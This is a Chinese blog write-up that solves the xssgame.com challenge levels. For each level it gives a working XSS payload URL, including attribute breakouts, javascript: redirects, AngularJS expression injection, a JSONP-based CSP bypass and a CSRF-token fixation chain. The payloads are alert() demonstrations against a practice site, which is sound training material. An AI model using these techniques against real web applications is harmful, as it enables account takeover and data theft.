xssgame

Author Avatar
Aryb1n 7月 26, 2017

发现了这个,mark一下
http://www.xssgame.com/

level 1

http://www.xssgame.com/f/m4KKGHi2rVUN/?query=<script>alert(/1/)</script>

level 2

dom xss 点在这里,大概代码是这样子的

<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('$_GET["timer"]')

所以认为构造?timer=1');alert('1就可以了结果发现不可以,不过为什么不可以呢
随后试了%0a%0d都可以,所以最后payload是
http://www.xssgame.com/f/WrfpuKFX8GNr/?timer=1')%0aalert('1
或者
http://www.xssgame.com/f/WrfpuKFX8GNr/?timer=1')%0dalert('1

level 3

这个name是hash

var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";
http://www.xssgame.com/f/u0hrDTsXmyVJ/#33.jpg'%20onerror=alert(/1/)%20k='`

level 4

走着走着,发现comfirm这里有个window.location,应该是这样子??

setTimeout(function() { window.location = '$_GET["next"]'; }, 1000);

http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert(/1/)

level 5

angular的,看不太懂,感觉我的输入被插到了一个不能解析的地方…悲剧啊,也闭合不了标签,和丢到pre里了感觉差不多,但我的看起来是在<p><b></b><b>里的诶
感觉这个输出点不能用,再找找其他的

后来又看到了一个地方,这个应该是UTM_PARAMS数组里的这些,只要能被getElementsByName,也就是有name的都能被利用的感觉

var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
  "utm_campaign", "utm_term"]

if (location.search)
{
var params = location.search.substring(1).split('&');

for (var p in params) {
  var r = params[p].split('=');

  if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
    var el = document.getElementsByName(r[0]);  // *****
    if (el.length) el[0].value = decodeURIComponent(r[1]); // ****
  }
}
}

大概是就是你输入的查询参数键值对会

document.getElementsByName(key).value = decodeURIComponent(value);

那我们看看

<input id="demo2-query" name="query" maxlength="140" ng-model="query" placeholder="Enter query here...">
<input name="utm_term" type="hidden">
<input name="utm_campaign" type="hidden" value="cpc">

交了一个?utm_term=ssssss">,发现引号被搞成&quot;

感觉angular肯定是这个能在引号里使用表达式,能不能直接在value=""里使用什么技能调用alert

稍微学习了一下
果然有个$eval,配合我们这里的

angular.module('myApp', [])
.controller('myController', ['$scope', function ($scope) {
    $scope.query = "";
    $scope.alert = window.alert;
}]);

可以提交

?utm_term={{$eval(alert(1))}}

就可以了, 这里的alert$scope.alert
最后

http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_campaign={{$eval(alert(1))}}

由于blog后边是handlebars渲染…所以这里的花括号alert秘制报错..只能放到```里

level 6

这次是服务器端模板渲染
有个东西叫SSTI,服务器端模板注入

level7

这题是bypass csp
看了下题目中就有个jsonp…

/**
 * Ask server side what to display.
 */
function main() {
    var m = location.search.match('menu=(.*)');
    var menu = m ? atob(m[1]) : 'about';
    document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
 * Display stuff returned from server side.
 * @param {string} data - JSON data from server side
 */
function callback(data) {
    if (data.title) document.write('<h1>' + data.title + '</h1>');
    if (data.pictures) data.pictures.forEach(function(url) {
        document.write('<img src="/static/img/' + url + '"><br><br>');
    });
}

main();

我们请求一下这个jsonp
http://www.xssgame.com/f/wmOM2q5NJnZS/jsonp?menu=<script>alert(1)</script>
会发现返回

callback({"title":"Error, no such menu: <script>alert(123)</script>"})

这个title会被原样填到h1里面,这个时候,就….
醒醒,这里有csp…没有unsafe-inline的话这样子写到页面里会被kill掉

这里要利用jsonp来bypass csp,jsonp的服务器端大约是这样子

<?php  
$callback = 'callback';
if(isset($_GET['callback']) && $_GET['callback']) {
    $callback = $_GET['callback'];
}
// 其实是还要找一下menu提交的图片是不是找得到,这个省略了
$arr=array('title'=>'xxx','pictures'=>'xxx');  
$result=json_encode($arr);  
echo $callback."($result)";  
?>

所以我们提交menu=<script src="jsonp?callback=alert(1);//"></script>的base64值就可以了

最后
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpOy8vIj48L3NjcmlwdD4=

level8

上来设置个用户名,发现走的是这个链接
http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=wwww&redirect=index
看起来是设置键值对的.这里设置的是name,那应该其他的值也能设置??
然后下面还有个功能是设置amount,我们随便设置一个aaa
发现会告诉你不是数字.并且会回显,那xss点应该就在这个地方了
我们交个<script>alert(1)</script>

Sorry, but this URL is specific to your random CSRF token, which means that the solution wouldn’t work in an other browser, so not counting this as a valid solution. Try harder.

然后看看我们的链接是
http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=sss&amount=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&csrf_token=Q63O6XH1QY

不难发现这个token是存在cookie里的

所以我想,这样子就可以了,一边在set这里设置csrf_token的值,一边在redirect到transfer填上它
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=456&redirect=transfer?csrf_token=456&amount=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
然后…没报错回显
在chrome里看一下,是这个transfer时候只是redirect到了transfer?csrf_token=456,忘了把redirect=transfer?csrf_token=456&amount=<script>alert(1)</script>要escape一下,是redirect=transfer%3Fcsrf_token%3D456%26amount%3D%3Cscript%3Ealert%281%29%3C%2fscript%3E

最后
http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=456&redirect=transfer%3Fcsrf_token%3D456%26amount%3D%3Cscript%3Ealert%281%29%3C%2fscript%3E

结束